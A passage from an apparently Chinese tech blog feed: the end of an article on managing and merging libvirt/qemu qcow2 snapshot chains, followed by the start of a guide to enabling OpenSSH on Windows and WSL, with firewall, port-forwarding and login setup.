&lt;p&gt;block-commit 不是顺序拷贝：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;簇级随机 I&#x2F;O&lt;&#x2F;strong&gt;：按 64KiB 簇从上层读、判断 backing 层有没有、再写入合并目标——本质是随机小 IO；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;qcow2 元数据写放大&lt;&#x2F;strong&gt;：写一个数据簇还要分配簇、更新 L2 表、更新 refcount 块，元数据自身也是 CoW；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;碎片&lt;&#x2F;strong&gt;：base 是 150G+ 的大文件，经历多轮快照&#x2F;合并后碎片化严重，分配更慢；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;单线程 block 层&lt;&#x2F;strong&gt;：block job 与 guest I&#x2F;O 在同一 aio 上下文里协作调度，并会刻意不拖慢 guest；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;在线执行&lt;&#x2F;strong&gt;：VM 一直在跑，磁盘 I&#x2F;O 会互相竞争。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;结论：&lt;strong&gt;慢是慢在机制，不是卡住&lt;&#x2F;strong&gt;——进度一直在走（最后观察到 97.60%），只是 qcow2 的随机 I&#x2F;O + 元数据开销把有效速率压到了百 MB&#x2F;s 量级。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;6-4-xia-ci-ru-he-geng-kuai&quot;&gt;6.4 下次如何更快&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;做法&lt;&#x2F;th&gt;&lt;th&gt;说明&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;关机后删除&#x2F;合并（离线 commit）&lt;&#x2F;td&gt;&lt;td&gt;不与 guest I&#x2F;O 竞争，通常明显更快&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;关机后用 &lt;code&gt;qemu-img convert&lt;&#x2F;code&gt; 生成独立镜像&lt;&#x2F;td&gt;&lt;td&gt;顺序写为主，比随机 commit 快；但需重建&#x2F;重挂磁盘&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;别攒链：每次只合 1～2 层&lt;&#x2F;td&gt;&lt;td&gt;单次数据量小、碎片少，避免&quot;最后一口吃 200G&quot;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;避开 VM 高负载时段&lt;&#x2F;td&gt;&lt;td&gt;减少 I&#x2F;O 争抢&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;预估数据量看 &lt;code&gt;qemu-img info&lt;&#x2F;code&gt; 的 &lt;code&gt;disk size&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;按实际占用而非表观大小估算时间&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;virsh blockjob &amp;lt;dom&amp;gt; &amp;lt;disk&amp;gt; --raw&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;输出原始进度详情（字节数），便于精确估算&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h1 id=&quot;qi-qemu-img-blockcommit-su-cha&quot;&gt;七、qemu-img &#x2F; blockcommit 速查&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;6-1-jian-lian-yu-kan-lian&quot;&gt;6.1 建链与看链&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;qemu-img create -f qcow2 -b base.qcow2 -F qcow2 overlay.qcow2
qemu-img info --backing-chain overlay.qcow2
virsh domblklist debian13 --details
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;6-2-libvirt-ceng-mian-de-he-bing-tui-jian-ke-zai-xian&quot;&gt;6.2 libvirt 层面的合并（推荐，可在线）&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# blockcommit：把 top 层合并到 base 层（自下而上地缩短链）
virsh blockcommit debian13 vda --base &amp;#x2F;path&amp;#x2F;sn1.qcow2 --top &amp;#x2F;path&amp;#x2F;sn3.qcow2 --wait --verbose

# 把活动层合并进 base 并切换（等价于删&amp;quot;当前快照&amp;quot;的合并动作）
virsh blockcommit debian13 vda --active --pivot --wait --verbose

# blockpull：把 backing 链的数据合并进活动层（反向）
virsh blockpull debian13 vda --base &amp;#x2F;path&amp;#x2F;sn1.qcow2 --wait --verbose
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;6-3-qemu-img-ceng-mian-de-cao-zuo-ting-ji-shi-yong-zhu-yi-yuan-shu-ju-tong-bu&quot;&gt;6.3 qemu-img 层面的操作（停机时用，注意元数据同步）&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 只改 backing 指针、不搬数据（unsafe mode，危险：必须确认指向的确实是对应数据）
qemu-img rebase -u -b &amp;#x2F;path&amp;#x2F;sn1.qcow2 &amp;#x2F;path&amp;#x2F;sn3.qcow2

# 默认 rebase：会把数据一起搬过去再改指针
qemu-img rebase -b &amp;#x2F;path&amp;#x2F;sn1.qcow2 &amp;#x2F;path&amp;#x2F;sn3.qcow2

# ⚠️ 危险：把当前层数据写回 backing 文件，会污染 base 镜像
qemu-img commit &amp;#x2F;path&amp;#x2F;vm-disk.qcow2

# 去掉 backing，把 backing 数据并入当前文件
qemu-img rebase -b &amp;quot;&amp;quot; &amp;#x2F;path&amp;#x2F;vm-disk.qcow2

# 生成不带 backing 的独立镜像（推荐用于迁移&amp;#x2F;彻底拆链）
qemu-img convert -f qcow2 -O qcow2 vm-disk.qcow2 vm-disk-standalone.qcow2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意：VM 由 libvirt 管理时，优先用 &lt;code&gt;virsh&lt;&#x2F;code&gt; 的 blockcommit&#x2F;blockpull&#x2F;snapshot-delete——它们会同步更新 libvirt 元数据。手动 &lt;code&gt;qemu-img&lt;&#x2F;code&gt; 操作会让宿主机上的链与 libvirt 记录不一致，之后再用快照&#x2F;删除功能容易出错。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;ba-jing-yan-zong-jie&quot;&gt;八、经验总结&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;快照链是串联结构&lt;&#x2F;strong&gt;：任何一环缺失，上层都打不开；永远不要 &lt;code&gt;rm&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;mv&lt;&#x2F;code&gt; 链上的文件，删除只走 &lt;code&gt;virsh snapshot-delete&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;删除快照 = 向下合并 + 重接链&lt;&#x2F;strong&gt;：当前数据和其它快照的还原点都不受影响，失去的只是被删快照的回滚能力。删当前快照多一次活动层 pivot。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;对运行中的 VM 建磁盘快照必须 &lt;code&gt;--disk-only --atomic&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;：否则默认是内部全系统快照（暂停 VM、内存写进 qcow2、极慢）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;内存快照的 &lt;code&gt;.save&lt;&#x2F;code&gt; 删不得&lt;&#x2F;strong&gt;：它决定 running 状态快照能否恢复；也不要 &lt;code&gt;--metadata&lt;&#x2F;code&gt; 式删除。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;&quot;无法获取状态更改锁 &#x2F; 操作超时&quot; = 有并发操作&lt;&#x2F;strong&gt;：先 &lt;code&gt;domjobinfo&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;snapshot-list&lt;&#x2F;code&gt; 看状态，别重复敲命令。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Debian + AppArmor 的 &lt;code&gt;deny ... w&lt;&#x2F;code&gt; 坑&lt;&#x2F;strong&gt;：&lt;code&gt;snapshot-delete&lt;&#x2F;code&gt; 报 &lt;code&gt;Could not open &#x27;...&#x27;: Permission denied&lt;&#x2F;code&gt; 时，查 &lt;code&gt;&#x2F;etc&#x2F;apparmor.d&#x2F;libvirt&#x2F;libvirt-&amp;lt;uuid&amp;gt;.files&lt;&#x2F;code&gt;，临时 &lt;code&gt;apparmor_parser -R&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;-r&lt;&#x2F;code&gt; 绕过（complain 模式无效）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;删除失败的收尾&lt;&#x2F;strong&gt;：元数据里会出现 &lt;code&gt;&amp;lt;snapshotDeleteInProgress&#x2F;&amp;gt;&lt;&#x2F;code&gt;，重新执行那次删除并跑完即可清除。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;链别攒太长&lt;&#x2F;strong&gt;：及时合并（本文场景就是攒了 4～5 层后的一次清理），合并前预留充足磁盘空间。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;查看删除&#x2F;合并进度&lt;&#x2F;strong&gt;：&lt;code&gt;virsh blockjob &amp;lt;domain&amp;gt; &amp;lt;disk&amp;gt; --info&lt;&#x2F;code&gt; 看百分比；任务在后台执行，终端断开不影响，但别 kill 进程；判定完成的依据是&quot;无 block job + 快照元数据消失 + 文件消失&quot;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;大链合并很慢&lt;&#x2F;strong&gt;：实测有效速率约 90MB&#x2F;s（簇级随机 IO + qcow2 元数据写放大），能关机就离线合并，或者别攒链、定期小批量清理。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Windows 开启 SSH 与远程桌面完整指南：OpenSSH、WSL、家庭版 RDPWrap 与 Remmina 调优</title>
        <published>2026-10-09T17:45:00+08:00</published>
        <updated>2026-10-10T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/10/windows-openssh-server-guide/"/>
        <id>https://vercel.juzhong.asia/2026/10/windows-openssh-server-guide/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/10/windows-openssh-server-guide/">&lt;blockquote&gt;
&lt;p&gt;摘要：本文整理 Windows 开启 SSH Server 的两种方式（原生 OpenSSH Server 与 WSL），覆盖 ICMP 放行、账户密码与 PIN、公钥认证、默认 Shell、提权与密码修改；后半部分是家庭版开启远程桌面的 RDPWrap 实战——Smart App Control 拦截排查、从安装器中雕刻提取 rdpwrap.dll 手工安装、版本匹配与长期维护，以及 Linux 下 Remmina 客户端黑背景&#x2F;清晰度问题的完整调优。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;1-fang-an-yi-windows-yuan-sheng-openssh-server&quot;&gt;1. 方案一：Windows 原生 OpenSSH Server&lt;&#x2F;h2&gt;
&lt;p&gt;从 Windows 10 1809 和 Windows 11 开始，系统内置了 OpenSSH 服务器组件，无需额外下载安装包。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-1-jian-cha-shi-fou-yi-an-zhuang&quot;&gt;1.1 检查是否已安装&lt;&#x2F;h3&gt;
&lt;p&gt;以管理员身份打开 PowerShell：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;powershell&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;Get-WindowsCapability -Online | Where-Object Name -like &amp;#x27;OpenSSH*&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果 &lt;code&gt;OpenSSH.Server&lt;&#x2F;code&gt; 的 &lt;code&gt;State&lt;&#x2F;code&gt; 显示为 &lt;code&gt;Installed&lt;&#x2F;code&gt;，说明已安装；否则需要手动安装。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-2-an-zhuang-openssh-fu-wu-qi&quot;&gt;1.2 安装 OpenSSH 服务器&lt;&#x2F;h3&gt;
&lt;p&gt;图形界面方式：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;打开「设置」→「应用」→「可选功能」。&lt;&#x2F;li&gt;
&lt;li&gt;点击「添加可选功能」。&lt;&#x2F;li&gt;
&lt;li&gt;搜索并安装 &lt;strong&gt;OpenSSH 服务器&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;PowerShell 方式：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;powershell&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;1-3-qi-dong-fu-wu-bing-she-zhi-kai-ji-zi-qi&quot;&gt;1.3 启动服务并设置开机自启&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;powershell&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;Start-Service sshd
Set-Service -Name sshd -StartupType Automatic
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;验证服务状态：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;powershell&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;Get-Service sshd
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;Status&lt;&#x2F;code&gt; 显示 &lt;code&gt;Running&lt;&#x2F;code&gt; 即表示 SSH 服务已正常运行。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-4-fang-huo-qiang-gui-ze-zhong-fu-chuang-jian-bao-cuo-zen-me-ban&quot;&gt;1.4 防火墙规则：重复创建报错怎么办&lt;&#x2F;h3&gt;
&lt;p&gt;安装 OpenSSH Server 时，系统通常会自动创建名为 &lt;code&gt;OpenSSH-Server-In-TCP&lt;&#x2F;code&gt; 的防火墙规则，允许 TCP 22 端口入站。&lt;&#x2F;p&gt;
&lt;p&gt;如果你手动执行：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;powershell&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;New-NetFirewallRule -Name &amp;#x27;OpenSSH-Server-In-TCP&amp;#x27; -DisplayName &amp;#x27;OpenSSH Server (sshd)&amp;#x27; -Enabled True -Direction Inbound -Protocol TCP -Action Allow -LocalPort 22
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可能会遇到：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;New-NetFirewallRule : 当文件已存在时，无法创建该文件。
Windows System Error 183
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这说明规则已经存在，不需要重复创建。正确做法是先查看：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;powershell&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;Get-NetFirewallRule -Name &amp;#x27;OpenSSH-Server-In-TCP&amp;#x27; | Select-Object Name, DisplayName, Enabled, Direction, Action
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果 &lt;code&gt;Enabled&lt;&#x2F;code&gt; 为 &lt;code&gt;True&lt;&#x2F;code&gt;，说明规则已生效。&lt;&#x2F;p&gt;
&lt;p&gt;如果规则存在但未启用，使用：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;powershell&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;Set-NetFirewallRule -Name &amp;#x27;OpenSSH-Server-In-TCP&amp;#x27; -Enabled True
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果确实需要重建：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;powershell&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;Remove-NetFirewallRule -Name &amp;#x27;OpenSSH-Server-In-TCP&amp;#x27;
New-NetFirewallRule -Name &amp;#x27;OpenSSH-Server-In-TCP&amp;#x27; -DisplayName &amp;#x27;OpenSSH Server (sshd)&amp;#x27; -Enabled True -Direction Inbound -Protocol TCP -Action Allow -LocalPort 22
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;1-5-fang-xing-icmp-rang-wai-bu-ke-yi-ping-tong&quot;&gt;1.5 放行 ICMP，让外部可以 ping 通&lt;&#x2F;h3&gt;
&lt;p&gt;开启 SSH 与允许 ICMP ping 是两个独立操作，可以同时进行。&lt;&#x2F;p&gt;
&lt;p&gt;Windows 防火墙默认会阻止 ICMP 回显请求。以管理员身份运行：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;powershell&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;netsh advfirewall firewall add rule name=&amp;quot;ICMP Allow incoming V4 echo request&amp;quot; protocol=icmpv4:8,any dir=in action=allow
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;也可以使用 PowerShell：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;powershell&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;New-NetFirewallRule -DisplayName &amp;quot;Allow ICMPv4-In&amp;quot; -Protocol ICMPv4 -IcmpType 8 -Direction Inbound -Action Allow
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;安全提示：允许 ICMP 会增加主机在网络上被发现的概率。公共网络环境下建议限定来源 IP，或谨慎开启。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;2-fang-an-er-wsl-zhong-kai-qi-ssh-server&quot;&gt;2. 方案二：WSL 中开启 SSH Server&lt;&#x2F;h2&gt;
&lt;p&gt;WSL 本质上是运行在 Windows 中的 Linux 子系统，可以在其中安装 Linux 版 OpenSSH Server。适合需要 Linux 开发环境的场景，但需要处理端口转发和 WSL IP 变动问题。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-1-zai-wsl-zhong-an-zhuang-openssh-server&quot;&gt;2.1 在 WSL 中安装 OpenSSH Server&lt;&#x2F;h3&gt;
&lt;p&gt;进入 WSL 终端，例如 Ubuntu：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt update
sudo apt install openssh-server -y
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;2-2-xiu-gai-ssh-pei-zhi&quot;&gt;2.2 修改 SSH 配置&lt;&#x2F;h3&gt;
&lt;p&gt;编辑配置文件：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo nano &amp;#x2F;etc&amp;#x2F;ssh&amp;#x2F;sshd_config
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;建议修改：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ini&quot; class=&quot;language-ini &quot;&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;Port 2222
ListenAddress 0.0.0.0
PasswordAuthentication yes
PermitRootLogin no
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;说明：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Port 2222&lt;&#x2F;code&gt;：避免与 Windows 原生 SSH 的 22 端口冲突。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;ListenAddress 0.0.0.0&lt;&#x2F;code&gt;：允许所有网络接口连接。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;PasswordAuthentication yes&lt;&#x2F;code&gt;：启用密码登录。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;PermitRootLogin no&lt;&#x2F;code&gt;：禁用 root 直接登录。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;2-3-qi-yong-systemd-bing-qi-dong-ssh&quot;&gt;2.3 启用 systemd 并启动 SSH&lt;&#x2F;h3&gt;
&lt;p&gt;在 WSL 中创建或编辑 &lt;code&gt;&#x2F;etc&#x2F;wsl.conf&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ini&quot; class=&quot;language-ini &quot;&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;[boot]
systemd=true
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;重启 WSL 后执行：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo systemctl enable ssh
sudo systemctl start ssh
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果 &lt;code&gt;systemctl&lt;&#x2F;code&gt; 不可用，可以临时使用：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo service ssh start
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;2-4-windows-zhu-ji-duan-kou-zhuan-fa&quot;&gt;2.4 Windows 主机端口转发&lt;&#x2F;h3&gt;
&lt;p&gt;WSL2 使用虚拟网络，外部设备无法直接访问 WSL 内部 IP，需要将 Windows 主机端口转发到 WSL。&lt;&#x2F;p&gt;
&lt;p&gt;先获取 WSL IP：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;hostname -I
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后在管理员 PowerShell 中执行：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;powershell&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=2222 connectaddress=172.23.22.69 connectport=2222
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;将 &lt;code&gt;172.23.22.69&lt;&#x2F;code&gt; 替换为实际 WSL IP。&lt;&#x2F;p&gt;
&lt;p&gt;添加防火墙入站规则：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;powershell&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;netsh advfirewall firewall add rule name=&amp;quot;WSL2 SSH&amp;quot; dir=in action=allow protocol=TCP localport=2222
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;局域网设备可通过以下方式连接：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ssh 用户名@Windows主机IP -p 2222
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意：portproxy 指向的是 WSL IP，而 WSL 每次重启后 IP 可能变化，转发会失效。需要重新执行 &lt;code&gt;netsh interface portproxy delete v4tov4 listenport=2222&lt;&#x2F;code&gt; 再添加，或改用下面的镜像网络模式。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-5-wsl-jing-xiang-wang-luo-mo-shi&quot;&gt;2.5 WSL 镜像网络模式&lt;&#x2F;h3&gt;
&lt;p&gt;如果希望 WSL 与 Windows 共享同一 IP，可以启用镜像网络模式。&lt;&#x2F;p&gt;
&lt;p&gt;编辑或创建 &lt;code&gt;C:\Users\你的用户名\.wslconfig&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ini&quot; class=&quot;language-ini &quot;&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;[wsl2]
networkingMode=mirrored
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;保存后执行：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;powershell&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;wsl --shutdown
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;重启 WSL 后生效。启用镜像模式后，再结合 Windows 防火墙规则，外部访问 WSL 会更直接，也省去了 portproxy 的 IP 变动问题。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;3-deng-lu-yong-hu-ming-he-mi-ma-shi-shen-me&quot;&gt;3. 登录用户名和密码是什么&lt;&#x2F;h2&gt;
&lt;p&gt;Windows OpenSSH Server 本身没有独立的用户名和密码，它直接使用 Windows 系统账户凭据。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-1-yong-hu-ming&quot;&gt;3.1 用户名&lt;&#x2F;h3&gt;
&lt;p&gt;用户名就是当前 Windows 账户名，可通过以下命令查看：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;powershell&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;whoami
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;输出通常形如：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;desktop-abc123\peter
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;SSH 登录时可以使用：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ssh peter@Windows主机IP
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;3-2-mi-ma&quot;&gt;3.2 密码&lt;&#x2F;h3&gt;
&lt;p&gt;密码取决于账户类型：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;本地账户&lt;&#x2F;strong&gt;：密码就是你设置的 Windows 登录密码。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Microsoft 账户&lt;&#x2F;strong&gt;：必须使用 Microsoft 账户的在线密码，而不是 PIN 码。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;如果你在电脑上只设置了 PIN，需要回想或重置 Microsoft 账户的完整密码。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-3-zhi-zhi-dao-yong-hu-ming-he-pin-zen-me-ban&quot;&gt;3.3 只知道用户名和 PIN 怎么办&lt;&#x2F;h3&gt;
&lt;p&gt;SSH 不支持 PIN 码。可以尝试以下方案。&lt;&#x2F;p&gt;
&lt;p&gt;方案一：关闭&quot;仅允许 Windows Hello 登录&quot;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;打开「设置」→「账户」→「登录选项」。&lt;&#x2F;li&gt;
&lt;li&gt;找到「为了提高安全性，仅允许对此设备上的 Microsoft 账户使用 Windows Hello 登录」。&lt;&#x2F;li&gt;
&lt;li&gt;将其关闭。&lt;&#x2F;li&gt;
&lt;li&gt;锁定电脑再重新解锁。&lt;&#x2F;li&gt;
&lt;li&gt;重启 sshd 服务：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;powershell&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;Restart-Service sshd
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后设置或使用 Microsoft 账户在线密码登录 SSH。&lt;&#x2F;p&gt;
&lt;p&gt;方案二：配置 SSH 公钥认证&lt;&#x2F;p&gt;
&lt;p&gt;使用密钥登录，不再依赖账户密码。见下一节。&lt;&#x2F;p&gt;
&lt;p&gt;方案三：创建专用本地用户&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;powershell&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;net user peter YourPassword123 &amp;#x2F;add
